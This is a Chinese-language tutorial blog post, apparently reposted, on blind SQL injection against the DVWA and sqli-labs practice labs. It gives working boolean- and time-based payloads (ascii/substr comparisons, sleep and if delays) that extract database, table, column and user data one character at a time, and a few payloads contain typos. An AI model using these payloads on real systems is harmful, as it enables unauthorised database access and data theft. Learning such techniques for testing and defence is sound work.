SQL注入实战之盲注篇(布尔、时间盲注)

首先还是写一下核心的语句吧。

information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)

select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';

select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';

select concat(username,password) from dvwa.users;

布尔盲注

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

-select id,name from product where id=1 and 1=1

布尔型盲注步骤和语句

1.判断当前数据库名长度与数据库名称
and select length(database())>n  //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

2.判断数据库的表长度与表名

and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n  //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n  //截取第一行表名的第m个字符串转换为ascii值判断具体为多少
3.判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n  //判断表名中字段名的长度

adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值

4.判断字段的内容长度与内容字符串
and length((select user from users limit 0,1)) >1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值

时间盲注

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注
- select id,name from product where id=1 and sleep(2)

基于时间盲注sleep函数

-在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒

-sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止

观察以下语句

第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s

第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s

基于时间盲注if函数


逻辑判断函数if()

if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句

-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);

此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1

基于时间的盲注案例(sqli-lab less-9)

枚举当前数据库名
-    id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚举当前数据库的表名

-    id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函数
-     id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

-    id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容

-    id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

原文地址:https://www.cnblogs.com/c1047509362/p/12835777.html